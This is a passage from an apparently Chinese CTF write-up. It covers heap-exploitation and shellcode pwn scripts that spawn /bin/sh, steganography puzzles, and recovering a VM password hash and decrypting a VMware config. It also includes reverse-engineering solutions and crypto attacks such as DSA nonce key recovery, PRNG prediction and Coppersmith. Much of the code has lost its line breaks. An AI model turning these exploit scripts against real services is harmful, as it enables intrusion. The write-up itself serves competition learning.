fake_chunk+='\x00'*0x18fake_chunk+=p64(0)+p64(0x21)+'\x00'*0x10fake_chunk+=p64(0)+p64(0x21)

create(0x80,'a'*0x20+p64(0)+p64(0x61)+p64(0xddaa)+p64(libc.symbols['_IO_list_all']-0x10))

p.interactive()

十、 bus

from pwn import *

local=0pc='./bus'remote_addr=['localhost',12346]aslr=Truecontext.log_level=True

libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc,aslr=aslr) gdb.attach(p,'c')else: p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else:

return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx): sla("to do:",str(idx))

def buy(place,ppl): choice(1) sla("go: ",place) k=ru("people: ") sl(str(ppl)) return k

def slt(place): choice(2) sla("destination:",place) return ru("Done!")

def go(): choice(3)

if __name__ == '__main__': minus=0xffffffffffffffff for i in range(0x21): buy("A"*0x6+str(i),0x20) for i in range(0x8): slt("A"*0x6+str(i+1)) go() for i in range(0x8): buy("A"*0x6+str(i+1),0x20) for i in range(1,7): buy("B"*6+str(i),0x20) buy("A"*6+'0',i+minus-i*0x90-0xd78) slt("A"*6+str(10+i)) go() buy("C"*6+str(i),0x20) libc_addr='' for i in range(0x6): for k in range(0x100): if k==10: continue if "No" not in slt(p8(k)+libc_addr): libc_addr=p8(k)+libc_addr

break libc_addr=u64(libc_addr+'\x00\x00')-0x3ebca0 lg("libc addr",libc_addr) for i in range(2): slt("A"*6+str(20+i)) go() buy("K"*0x18+p64(0x91),0x20) buy("P"*0x18+p64(0x91),0x20) buy("A"*6+"0",0x20) slt("K"*0x18+p64(0x91)) go() slt("\n") go() libc.address=libc_addr payload="/bin/sh\x00"+"A"*104+p64(libc.symbols['__free_hook']) buy(payload,0x20) buy("QQQ",0x20) buy(p64(libc.symbols['system']),0x20) slt("/bin/sh\x00") go() p.interactive()

十一、 treasure

from pwn import *

context(os='linux', arch='amd64')#context.log_level = 'debug'p = process('./treasure')gdb.attach(p, '''#b *0x400AB6''')

def sendcode(c, s):p.recvuntil("(enter 'n' to quit)")p.sendline(c)p.recvuntil("start")p.send(s)

shellcode = shellcraft.amd64.linux.execve('/bin/sh')shellcode = asm(shellcode)

sendcode('I', asm("mov rax, 0x6010E8")+'\x90'*2)sendcode('G', asm("mov rax, QWORD PTR[rdi] \n inc rax \n mov QWORD PTR[rdi], rax"))

for i in range(len(shellcode)):print isendcode('y', asm("mov rax, 0x6010E8")+'\x90'*2)#sendcode('y', '\x90'*9)sendcode(shellcode[i], asm("mov rax, QWORD PTR[rdi] \n inc rax \n

mov QWORD PTR[rdi], rax"))

print 123sendcode('N', asm("mov rax, 0x6010E8")+'\x90'*2)sendcode('B', asm("sub QWORD PTR[rdi], 0x26")+'\x90'*5)print 456sendcode('A', shellcode[:10])

p.interactive()print shellcode

MISC一、 GreatWall

1、用 stegsolve 工具查看,分离出隐藏图片。2、图片中的“──”代表 1,“─”代表 0,"+"代表空格3、算出的 01 数字串补全为 8 位,然后转为 ASCII 码即得 flag 1.用 stegsolve 工具查看发现了 exif 的头,save bin 分离出隐藏图片。

2.删除前面多余的二进制得到一张图片

得到的图片发现最上面有些东西

2.图片中的“──”代表 1,“─”代表 0,"+"代表空格

3.算出的 01 数字串补全为 8 位,然后转为 ASCII 码即得 flag l=['1010011','1110100','110011','1100111','110100','1101110','110000','1100111','1110010','110100','1110000','1101000','1111001','1011111','110001','1110011','1011111','110001','11

01110','1110100','110011','1110010','110011','1110011','1110100','110001','1101110','1100111']s=''for i in l: s+=chr((int(i,2)))print s

二、 Traffic Light

red 代表 1 green 代表 0yellow 代表空格用 gif 分离工具分离出来 1168张图片

red 代表 1 green 代表 0yellow 代表空格脚本(命名规则需要修改下,gif 分离的时候就不用工具用脚本)分离脚本:import os

from PIL import Imagedef analyseImage(path): im = Image.open(path) results = { 'size': im.size, 'mode': 'full', } try: while True: if im.tile: tile = im.tile[0] update_region = tile[1] update_region_dimensions = update_region[2:] if update_region_dimensions != im.size: results['mode'] = 'partial' break im.seek(im.tell() + 1) except EOFError: pass return results def processImage(path): mode = analyseImage(path)['mode'] im = Image.open(path) i = 0 p = im.getpalette() last_frame = im.convert('RGBA') try: while True: print "saving %s (%s) frame %d, %s %s" % (path, mode, i, im.size, im.tile) if not im.getpalette(): im.putpalette(p) new_frame = Image.new('RGBA', im.size) if mode == 'partial': new_frame.paste(last_frame) new_frame.paste(im, (0,0), im.convert('RGBA')) new_frame.save('%s-%d.png' % (''.join(os.path.basename(path).split('.')[:-1]), i), 'PNG')

i += 1 last_frame = new_frame im.seek(im.tell() + 1) except EOFError: pass

def main(): processImage('Traffic_Light.gif') if __name__ == "__main__": main()

拿 flag 脚本from PIL import Image

res = ""tmp = ""for i in range(1168): name = "Traffic_Light-"+str(i)+".png" a = Image.open(name).convert("RGB") if a.getpixel((110,54)) == (255,0,0): tmp += "1" elif a.getpixel((110,140))==(0,255,0): tmp += "0" elif a.getpixel((110,110))==(255,225,0):

res+=chr(int(tmp,2)) tmp = "" else: pass print res

三、 Quotes

字母的数量相加,如 My+mission+in+life+is+not+mer = 2323 为英文字母w 的序号,以此类推最后算得单词 word gamesflag{word games}

字母的数量相加,如 My+mission+in+life+is+not+mer = 2323 为英文字母w 的序号,以此类推最后算得单词 word games

脚本:import string

l1="My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style".split(' ')

l2 = [len(i) - i.count('+') for i in l1]

cs = [string.ascii_lowercase[i-1] if i > 0 else ' ' for i in l2]

print(''.join(cs)) # flag

四、 hack1t

在 win 虚拟机里开题目虚拟机,之后保持内部题目虚拟机开启再暂停外面 win虚拟机,之后在到 win 虚拟机目录下找到对应的 vmem 文件,直接用编辑器读取(我用的 010 editor)就能看到 passwd 文件明文。真的神奇PS: 之前我都在搜 root:x,怎么都搜不到,结果搜 ubuntu:就能定位到哈希了...不知道为什么

有两种方法可以生成 passwd哈希(其实还有第三种,那就是复制自己的 linux 密码哈希= =)1、openssl passwd -1 -salt '12345678'2 、 python -c 'import crypt; print crypt.crypt(“password”, "$6$12345678")' #必须是 8 位 salt第一个用的 md5 所以说开头是$1$,而且长度对不上,启动虚拟机的时候会报错,第二个用的 sha512 所以说哈希开头是$6$,而且 8 位 salt完美对应长度所以选择第二种。

成功进入虚拟机

ls 一下,发现有一个 flag.part02.rar感觉是分卷压缩文件,那肯定还有别的文件在外面毕竟是 linux系统,我们可以用一些小工具来快速定位并搜索 flag系列文件。先 apt install mlocate 一下,发现已经装了,那可就一点问题都没有了 233333再 updatedb 更新数据库最后 locate flag.part

接下来就是想怎么把这些东西折腾出来…师傅说直接用脚本就能把 vmem 中的文件 dump 出来,我这边试了好几天没复现成功..不过目前能用 volatility 通过 windows 虚拟机的 vmem 提取文件,不过 linux 的话还要更麻烦一点..

如果有师傅知道怎么搞还是希望能够跟我说一声,大家共同进步共同学习嘛~所以说这里就直接转弯了,还是想如何用其他方式来做提取。我首先想,如果能用其他介质把文件拷贝出来该多好,然而虚拟机的配置加密了,没办法改,再加上用上了不同的管理密码,就更改不了了。在网上查了一下,网上竟然有通过密码解密配置再加密回去的脚本https://github.com/RF3/VMwareVMX

python main.py -D "Ubuntu 64-bit" -p bibinb test1.vmx >> test_un.vmx(这里 Ubuntu 64-bit.vmx 更名为 test1.vmx, 方便输入命令)在 test_un.vmx 里加入ide1:0.present = "TRUE"ide1:0.fileName = "D:\Download\ubuntu-16.04.5-server-amd64.iso"ide1:0.deviceType = "cdrom-image"可以给虚拟机手动添加一个光驱,至于添加其他设备的话大家可以对比着自己的虚拟机配置来之后 就 是最重要的 一步,把 test_un.vmx 中 所 有 中 文 字 符全都改 成英文的,python 这些库对中文的支持真的是….之后保存到 test_un.vmx再执行python main.py -e -D "Ubuntu 64-bit" -p bibinb test_un.vmx exfin.vmx最后让虚拟机打开 exfin.vmx,就可以看到一个加了碟片的光驱了~当然是想干什么干什么。其实还有另一种解法,来自九州攻防实验室。他们 patch 了 vmware…而且并没有给出怎么打的 patch之后想了半天(差不多是做了一个题中题…)终于用自己的方式复现了虽然说他们没给出怎么打 patch 的,不过还是说了一个非常重要的信息: 解密虚拟机跟管理密码根本没有关系!那就….看图吧!

你们懂吧~以前的灰色按钮突破不好用,我下了一个今年发的吾爱的版本https://www.52pojie.cn/forum.php?mod=viewthread&tid=787202虚拟机都解密了那 flag 不就手到擒来了嘛~

五、 What's_this

首先拿到文件,是一张玫瑰花图片,做 misc题看到什么文件当然是先来一发binwalk呀~,(当然这有个小点…在 bash 里文件名的引号需要转义才能输入,不过用万能的 TAB 键或者直接重命名也就没什么问题了)

看到了有隐藏一个压缩包,binwalk 或者 foremost 提取之(我这里直接用的 binwalk –e foremost我就不演示了)

取那个最大的压缩包打开,就是这样

1-stage.docx 是没有任何密码的,双击进去就能打开,Word 这里有两个考点,一个是 word 的隐藏文字

一个是藏在 word 里面的文件。因为 word 的 docx格式看文件头,一上来就是一个 PK,压缩包的文件头,所以说可以改后缀为 zip来查找内部是否隐藏文件。

再看 zip2,有密码,但是有 2-stage 和 flowerdance.txt,根据 word 的隐藏文字可以知道

把这段话粘到 notepad 里再保存到 flowerdance.txt 就 ok,把 flowerdance.txt打包成 zip, 就可以用工具来做明文攻击 (plain-text attack)了。这里我用的是azpr

(这里原本以为是压缩包内容完全一样才能明文攻击…事实上是只要有一个文件是一样的就行, 然后经过压缩文件夹里的 2-stage 和 2-stage.what对比可知这个位置我还想考一下修复文件头的知识点的。)

这个是 2-stage.what 的文件头,我们可以看到文件头是 jpg格式的但是下面却冒出来一个 IDAT,再看文件未是 IEND,可以修复文件头到 png格式。之后 hint 给了用 cloacked-pixel,将修复后的 png载入进去,密码为 Hello_Hi, 可解出一个新的压缩包。解压出来有 zip3, zip4,zip3 里面的内容实在是太少了,就 4 个字节,可以爆破出

内容为 girl,那么拿着这个爆破出来的密码去解压 zip4,发现是 fakeflag。查看what’s next.txt 了解剧情可知

长者老人的话里,是纳兰性德的《木兰花令·拟古决绝词》中比较经典的一句人生若只如初见,何事秋风悲画扇

(我觉得这句英文翻的还不错…虽然说下面的 Nice to meet you 更有意境)然后回到那个 docx,拿起那个没有被用过的 I_Love_You.emf,想到底该怎么用。因为这里有 fakeflag,而且整个题目也就这些了也挖不出什么其他东西,那么 flag应该就差最后一点了。观察文件大小发现 I_Love_You.emf 和 zip4.zip大小一致,想起异或,之后解出正确 flag。

愿上帝保佑你们。

REVERSE一、 Ctopia

这题是拿来做签到的,做法有很多。当时出题的时候想给大家一个正常的游戏,凭技术能通关那种,但是由于 bug太多,难度设定不好办,鸡贼的改了游戏描述。2333。说一些有趣的 bug1. 所有特技(水上行走,嗜血等等)无需触发即可获得2. 站在水中打陆地上的怪,人物可以打到怪,但是怪打不到人3. 站在远处刷第一波幽灵可以无限刷血4. 雪怪一关,实际有 6 个怪,图上只刷 5 个,要求杀 7 个通关整个游戏流程就是,每通一关解密一段 key(写在 secret 文件夹),通全关用 key去解密 flagKey 的加解密用了 tea加密的变形,flag加解密用的是 AES

集合了一下各队的做法:1. 直接修改 eip 运行四段解 key 代码后,运行解 flag 的代码2. CE锁血锁蓝,改掉雪怪一关的判断,刷图通关3. 直接 patch 进游戏拿 flag(tql)

二、 Happy

Upx加壳+base64+des设了两个坑Upx加壳后,自己修改了 upx 解密用的标志位,导致 upx -d 无法正确解密Base64稍微改动了一下,需要把字符+1再进行解密解密:关于 upx加壳:有的队伍直接看出了我修改了 upx标志位(upx->AAA),改回去(AAA->upx)直接 upx -d(orz)直接 dump 出来看源码也不难(来自 CNSS 的小风车队伍的题解)

关于改动的 base64:直接动态调试很容易可以看到解密后的 key,花一些时间看一下解密过程不难发现改动

关于 des:没有什么好说的,常量看一下就可以发现 des加密,没有设坑总结一下:最后的 des还是太善良了,应该稍微改动一下的,有的大佬直接动态调,很顺利的拿到了 flag,与预期有一定差距。三、 Badblock

题目基本逻辑是实现了一个创建 block 过程,将验证过程放在工作量证明(PoW)中。就本题来说,这里的工作量证明设置有两个:1. 结合输入和区块创建时间计算 hash(sha256),保证 hash前至少有 difficulty 个 02. 输入满足 check函数第一个工作量证明其实没有问题,如果 difficulty 设置很小的话(本题为 3),基本马上就可以跑出来了,这个工作量验证其实就是幌子,不必深究。 第二个工作量证明分为两个部分: a. input相邻亦或,循环 4 次,起到基本混淆的目的 b. 将亦或后的 input输入到 bc_vm 中,进行下一步验证解密的话,理解第二个 PoW 的验证过程,第一个相邻亦或可逆,写出逆向算法,第二个 BC_VM需要看懂 BC_VM类的虚函数,然后提取 opcode 写算法,这个地方其实可以爆破,很多大佬都是用 pintools跑出来的。给出解密脚本:def encode1(ss):    re = []    for j in range(4):        for i in range(1 , len(ss)):            ss[i] = ss[i-1] ^ ss[i]    return ss

def encode2(ss):

    c = []    for i in range(len(ss)):        c.append( ss[i] ^ ( (36+i)*2) )    return c

def xor_encode(s):    for i in range(1 , len(s)):        s[i] = s[i-1] ^ s[i]    return s

def decode1(s):    for j in range(4):        for i in range(1 ,len(s)):            tmp = xor_encode(s[0:i])[i-1]            s[i] = (tmp^ s[i] ) &0xff    return s

def decode2(s):    f = []    for i in range(len(s)):        f.append(s[i] ^ ( (36+i)*2) )    return f

print "encode..."print encode2(encode1(flag))

enc = [46, 38, 45, 41, 77, 103, 5, 68, 26, 14, 127, 127, 125, 101, 119, 36, 26, 93, 51, 81]

print "decode..."dec = decode1(decode2(enc))t = ""for i in dec:    t += chr(i)

print t

四、 #)(#

C#编写的简单加密程序,在出题时出现了一些失误,导致题目存在一些问题。题目流

程是,打开图片,以 00 01 分块加密,根据块长度,分别进行 rc4,sm2加密。但是在sm2加密流程中,自己写入文件时,以块长截取了密文,会导致解密后一部分明文丢失。另外对于编码问题,c#在 byte 和 string转化时,由于我使用Encoding.Default.GetString及 Encoding.Default.GetBytes函数,出现一些未知问题。在某些情况下字符会变成 0x3F(即?)导致逆向的难度大大增加,远远超出了我的预期解法。给出当时出题时 SM2 算法来源https://blog.csdn.net/ererfei/article/details/50999820这里感谢夜影大佬利用 jpg格式相关知识给出一个非预期解法(膜 orz)https://blog.csdn.net/whklhhhh/article/details/84729817预期解思路:De4dot+dnspy 可以看到加密源码。其他语言进行解密时或许会有些许差别,推荐使用 c#编写解密程序,rc4 密钥是“abcdef123456”的 md5。SM2 用的是国密标准的公私钥,只要写出解密脚本,拼接成二进制文件即可。查看文件头可知是 jpg 文件。

具好看的小姐姐送来 flag,(那么好看小姐姐大佬打比赛时没有看到,我背大锅)最后总结一下自己疏忽,引以为戒:首先找到 sm2 代码时,用自带的样例跑了一下没有问题

图片加密时,使用 messagebox弹窗看到文件头,认为没有问题

但是等等,哪来的??

我重新开了一个项目去研究 c#btye 和 string转化问题,大雾

自己将每次转化截断的地方,重新进行转化发现会出现新的截断点。希望有对 c#研究的大佬能够指出原因所在。

五、 Flow

rePy2exe+混淆+crypto(其实 CaR 的想表达的意思就是 crypto after reverse)unpy2exe、rePy2exe等都可以看到源码,源码进行了一定混淆,替换一下就好,代码量不大,给出出题时替换表rc4 msg key tmp boxl1l11l11l1l1l ll1l1l1l1l1 l1l1l1l111l l1l1l1ll1l1l l1l1l1l1l1l i j k al1l1l1lll1l1l1 l1l1l1l1l1l1 ll1l1l1l1l1ll ll1lll1l1l1l之后的加密源码核心是 rc4,时间戳和 md5都是唬人的,给出解密脚本。# /usr/bin/python# coding=utf-8import sys, os, hashlib, time, base64import randomimport itertools class rc4: def __init__(self, public_key=None, ckey_lenth=16): self.ckey_lenth = ckey_lenth self.public_key = public_key #or 'none_public_key'

key = hashlib.md5(self.public_key.encode('utf-8')).hexdigest() self.keya = hashlib.md5(key[0:16].encode('utf-8')).hexdigest() self.keyb = hashlib.md5(key[16:32].encode('utf-8')).hexdigest() self.keyc = '' def encode(self, string): self.keyc = hashlib.md5(str(time.time()).encode('utf-

8')).hexdigest()[32 - self.ckey_lenth:32] string = '0000000000' + hashlib.md5((string +

self.keyb).encode('utf-8')).hexdigest()[0:16] + string self.result = '' self.docrypt(string) return str(self.keyc + base64.b64encode(self.result)) def decode(self, string): self.keyc = string[0:self.ckey_lenth] string = base64.b64decode(string[self.ckey_lenth:]) self.result = '' self.docrypt(string) result = self.result if (result[0:10] == '0000000000' or int(result[0:10]) -

int(time.time()) > 0) and result[10:26] == hashlib.md5(result[26:] + self.keyb).hexdigest()[0:16]:

return result[26:] else: return None def docrypt(self, string): #Sbox string_lenth = len(string) result = '' box = list(range(256)) randkey = [] cryptkey = self.keya + hashlib.md5((self.keya +

self.keyc).encode('utf-8')).hexdigest() key_lenth = len(cryptkey) for i in range(255): #init Sbox randkey.append(ord(cryptkey[i % key_lenth]))

for i in range(255): j = 0 j = (j + box[i] + randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in range(string_lenth): a = j = 0 a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp self.result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

def msg_chng(msg): W = 4 perm = range(W) random.shuffle(perm)

while len(msg) % (2*W): msg += "."

for i in xrange(100): msg = msg[1:] + msg[:1] msg = msg[0::2] + msg[1::2] msg = msg[1:] + msg[:1] res = "" for j in xrange(0, len(msg), W): for k in xrange(W): res += msg[j:j+W][perm[k]] msg = res return msg

def msg_dechng(string): for perm in itertools.permutations(range(4)): msg = string for i in xrange(100): msg = msg[1:] + msg[:1] msg = msg[0::2] + msg[1::2] msg = msg[1:] + msg[:1] res = ""

for j in xrange(0, len(msg), 4): for k in xrange(4): res += msg[j:j+4][perm[k]] msg = res if "flag" in msg: return msg

if __name__=='__main__': rc = rc4('sdfgowormznsjx9ooxxx') #string = 'flag{zfsxd_sdkuq_wrgom_jlpax}' #print(string) #string=msg_chng(string) #st = rc.encode(string) #print(st) st="0036dbd8313ed055NJD5H1Ufzl75UaLQiJt1KhHak4EVjPZkEh3poW

CU6JQouE3//O/oiVODMHxbls0G8d57EtY1k4fxrg==" st = rc.decode(st) st=msg_dechng(st) print(st)

CRYPTO一、 签名伪造

数字签名:本题需要使用 admin账户登录才会返回 flag,所以根据题目所给文件,计算 admin 的数字签名,输入 admin 的数字签名时,注意与题目返回信息严格保持一致。题目本身比较简单,分解给出的公钥,就可以计算得到私钥,利用私钥对 admin 进行数字签名,将计算得到的数字签名输入,就会返回 flag.签名伪造,也就是我们使用用户名 admin,调用 sign函数,产生一对 r,s 这样子我们就可以给他发过去,然后就得到了 flag我们有下面的公式:[Math Processing Error]inv(K)∗s=(H(m)+xr)modq由于 k s m r都是已知,我们直接可以得到 x得到 x 的源码from gmpy2 import *from hashlib import sha512

strp = r''' 00:e5:8c:4b:03:41:98:56:a2:bd:f8:e0:27:d4:63: 48:79:d4:f1:d5:cf:62:95:8e:fc:7b:41:16:d9:85: 06:29:57:7a:2f:3d:29:09:4a:f8:14:a4:d3:78:43: ae:5e:c0:15:26:41:f9:3d:48:b8:fa:81:1c:17:5b:

9a:ba:4b:ac:2c:67:31:2f:d8:2c:ae:e2:2b:ab:da: f8:d7:6b:f6:e9:b5:b1:87:6b:da:e8:b4:ea:d8:f8: 5e:ec:d5:ec:f7:cc:30:5c:f0:3f:38:88:80:27:cf: 9d:b4:bf:89:a5:0c:04:62:77:72:e7:c9:57:e2:9a: 81:76:7c:af:b9:be:52:2a:99:2d:4d:d1:a7:55:de: 77:f8:ee:d0:8f:74:e0:66:bb:45:6a:4d:19:56:4d: 36:80:c2:1c:ce:98:46:b3:d9:b7:03:c2:5b:53:07: 4c:27:c1:71:8a:82:b0:0a:3f:64:45:00:1b:89:ba: 37:6d:13:87:d4:99:d1:e7:bf:ff:90:a9:7b:1c:f2: 28:e0:ab:c0:d6:83:b8:0e:75:21:24:9c:88:ec:3b: c8:5f:31:1b:70:ba:ec:e1:0b:57:53:b2:a2:9f:15: 9a:af:b7:59:69:ee:ee:49:6b:5e:30:22:4a:a3:fd: 28:9d:1f:43:b6:95:4f:34:b8:71:63:72:47:f1:55: ff:c1'''p = int(strp.replace('\n','').replace(' ','').replace(':',''),16)print pstrq = r''' 00:e0:2d:e0:48:32:11:75:5e:14:79:ab:84:1f:b1: 1b:71:d0:be:7e:ec:f5:8b:6d:7a:cb:c0:01:53:57: 14:f4:4f'''q = int(strq.replace('\n','').replace(' ','').replace(':',''),16)print q

strg = r''' 00:81:62:30:3e:2c:f7:66:a2:3f:4c:a9:20:96:48: f0:b1:b6:03:4b:22:a5:77:b2:ed:39:82:a4:0e:1d: 4d:82:1c:8b:d3:fc:c9:7c:34:07:e1:88:38:a4:14: 63:96:27:e3:49:a5:e9:dc:e4:2b:be:9f:65:3b:ab: 05:65:22:43:80:3f:8e:54:78:aa:f0:3e:85:02:36: ca:32:d1:38:14:70:9a:aa:34:33:d3:18:05:03:ea: 18:9b:d4:cd:ca:d4:4b:67:8b:32:d7:e6:e3:29:03: 21:9d:74:fb:45:7f:24:c2:8e:7c:4a:53:61:5a:1b: 7c:d8:34:a5:2f:a5:ca:42:18:19:0f:d8:c4:b5:c8: 76:47:35:1a:5d:7e:e9:60:74:44:61:ec:95:c1:c7: 2b:43:27:f7:f8:3a:ea:24:92:2c:19:68:d3:29:ab: 91:f2:87:b6:01:d0:9e:36:e3:66:fa:ae:37:4f:0a: 43:cb:44:5b:a7:63:ea:ee:d6:f7:5a:4e:69:4f:3d: ae:c2:0d:4d:81:48:10:6e:4b:b7:9e:d2:d6:5f:df: 60:d4:31:0a:fa:f1:9c:9f:84:04:7c:c8:15:f2:c7: 13:f9:9b:23:e4:98:8a:e7:04:03:95:3f:8e:35:60: a0:f1:f1:ce:d5:72:d0:3b:e8:b9:99:61:95:53:33: d2:29'''

g = int(strg.replace('\n','').replace(' ','').replace(':',''),16)print g# strx = '\xef\xbc\x9a'# x = 0xefbc9a# y = pow(g,x,p)# msg = 'message'msg = 'admin'priv = 72570835384513423695803907351336764724207783957959158295766801235297121254962def s2h(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def h2i(s): #print(s) #print(type(s)) return int(str(s),16)

# def nonce(msg, num):# n = 0# # print type(msg)# msg=int(msg,16)# # print str(msg)# # print h2i(num)==num# # num=h2i(num)# for i in str(msg):# i=int(i)**int(i)# d=int(str(int(i)*3141592653)[-6:])# n += num % d# n = (num-n) % d# return ndef nonce(msg, num): n = 0 msg=h2i(msg) # print h2i(num)==num num=h2i(num) for i in str(msg): i=int(i)**int(i) d=int(str(int(i)*3141592653)[-6:]) n += num % d n = (num-n) % d return n

k1 = nonce(s2h(msg),q)print k1

def sign(data,priv,g,p,q): data = s2h(data) k = nonce(data,q) kinv = invert(k, q) r = pow(g, k, p) % q h = sha512(data).hexdigest() h = int(h,16) s = kinv * (h + r * priv) % q return (r, s)

def veryfy(data,s,r,y,g,p,q): h = sha512(data).hexdigest() h = int(h,16) w = invert(s,q) u1 = h*w%q u2 = r*w%q v = pow(g,u1,p)*pow(y,u2,p)%p%q print v print r return v==rh = sha512(s2h(msg)).hexdigest()h = int(h,16)

k = k1print pow(g,k,p)%q==rx = (((k*s)-h)*invert(r,q))%qprint x==priv产生签名的源码:(r1,s1) = sign(msg,priv,g,p,q)print r1print s1然后我们得到 flag

二、 MixMix

题目分别考察了分组密码、流密码和公钥密码体制中的各一个考点。首先需要选手进行代码审计,可以发现程序大概做了这样几个事情:1. 读取了 flag,并使用 RSA 进行了加密其中 n 为 2048bit;2. 将 d 的后一半 bit 使用了自定义的一种分组密码进行了破解;3. 分组密码的 F函数使用了随机数生成器。

因此本题解题思路分为三步:1. 使用泄露的 19968bit 的随机数数据进行随机数预测;题目泄露了 19968bit 的 prng 的数据,可以恢复 324 个初始 states 值,然后进行后续的随机数预测,通过对后续的随机数进行预测,可以计算出 BOX 的值;import libprngcrackr=libprngcrack.crack_prng(base_list)BOX=[]for i in range(32): BOX.append(r.getrandbits(1024))print BOX

其中 libprngcrack 是我自己写的攻击库,通过 java 实现 prng 的预测:import subprocessimport random

def sign(iv): # converts a 32 bit uint to a 32 bit signed int if(iv&0x80000000): iv = -0x100000000 + iv return ivdef crack_prng(outputs_624_list): get_in=[] for i in outputs_624_list: get_in.append(sign(i))

o = subprocess.check_output(["java", "Main"] + map(str, get_in)) stateList = [int(s) % (2 ** 32) for s in o.split()] r = random.Random() state = (3, tuple(stateList + [624]), None) r.setstate(state) return r

'''r=crack_prng([...])#r.getrandbits(32)

预测成功后,即可获得 BOX 的值。2. 逆推 Feistel 结构:

该 Feistel 结构没有引入秘钥的概念,每一轮使用了相同的 F函数,我们通过逆向计

算 Feistel 结构即可攻击出明文:def reverse_single(c):

print len(c) assert len(c)==256 L=bytes_to_long(c[0:128]) R=bytes_to_long(c[128:256]) pre_R=L pre_L=R^BOX[pre_R%32] return pad_128(long_to_bytes(pre_L))+pad_128(long_to_bytes(pre_R))

tmp=long_to_bytes(rr)for i in range(32): tmp=reverse_single(tmp)pd=bytes_to_long(tmp[-129:])

攻击成功后,即可得到部分 d 的值3.部分私钥泄露的 coppersmith攻击因为泄露了 d,所以我们可以使用 soppersmith攻击得到 flag。

def partial_p(p0, kbits, n): PR.<x> = PolynomialRing(Zmod(n)) nbits = n.nbits()

f = 2^kbits*x + p0 f = f.monic() roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3 if roots: x0 = roots[0] p = gcd(2^kbits*x0 + p0, n) return ZZ(p)

def find_p(d0, kbits, e, n): X = var('X')

for k in xrange(1, e+1): results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits) for x in results: p0 = ZZ(x[0]) p = partial_p(p0, kbits, n) if p: return p

n=23578993759651846163407387643570145644115025601596103580184161153040197438298282158873596897287471992099330302529380804522481807964824462989599019530603330716366509521938909878108451802174427654286269171915918892026128198577310763742823409091253186575657200866808588619684226197384735692798240022601664875700041555987920069142810862933473292870153233618483343675594754250957739098196832622921038454606841163294880077773458919245849025081150351887441648885013622819553920072042399098567893178070559167038107446605347973454736581035556374998221910846314626968477808697488486755597665760544436232604018880071381712536003c=22856737154311803849615142490050682806750299036450743659369396824799424376537921049939578889648942976029184459182542410014498647605315003015343803527126356385370970435722766799941145324288030124264980811764428222435159975457083598454833597762029181220451157933486039501680130850286096872859084397274392580755477919729859417862023951970552462222627525300274683837114931386829992311095031165891717613994303766130830884486710423725945449207616112039112528230438017355446360465508447534083093946965443091544669864964990650531875083866134958270592297383214014178544601959577987607243475294128187738900714358403399020114962partiald=0xe726d0cdfde484aa9b0c51e54b1161f3167b53f2a5fc63be34df9065a035c201723494c786ced331a4b08debe2782a967d2b47700cb3107246fb26bce5e1e7004f49eb78b5a304d95d579ef740eeba0f08ad8598bb7de00e88579cc8895ddd0967607732e6f5480982abe7983c8086a225870d0054b2c0a564324a2985043a9bcbL

beta = 0.5epsilon = beta^2/7

nbits = n.nbits()kbits = floor(nbits*(beta^2+epsilon))d0 = partiald & (2^kbits-1)print "lower %d bits (of %d bits) is given" % (kbits, nbits)

p = find_p(d0, kbits, e, n)print "found p: %d" % pq = n//p

d=inverse_mod(e, (p-1)*(q-1))

m=pow(c,d,n)print mprint len(bin(m))

最终得到 flag。三、 easyCrypto

根据题目所给加密文件,可知为 AES加密夹杂几次异或,题目中已给出密文和KEY。初始向量附在密文的前面。根据题目推倒出解密函数即可。

def decrypt(ciphertext): ciphertext = a2b_hex(ciphertext) iv = ciphertext[0:16] ciphertext = ciphertext[16:len(ciphertext)]

aes = AES.new(key,AES.MODE_CBC,iv)prev_pt = iv

prev_ct = ivpt = ''for block in split_by(ciphertext, 16):

pt_block = xor(block, iv)pt_block = aes.decrypt(pt_block)pt_block = xor(pt_block, iv)pt += pt_block

return b2a_hex(pt)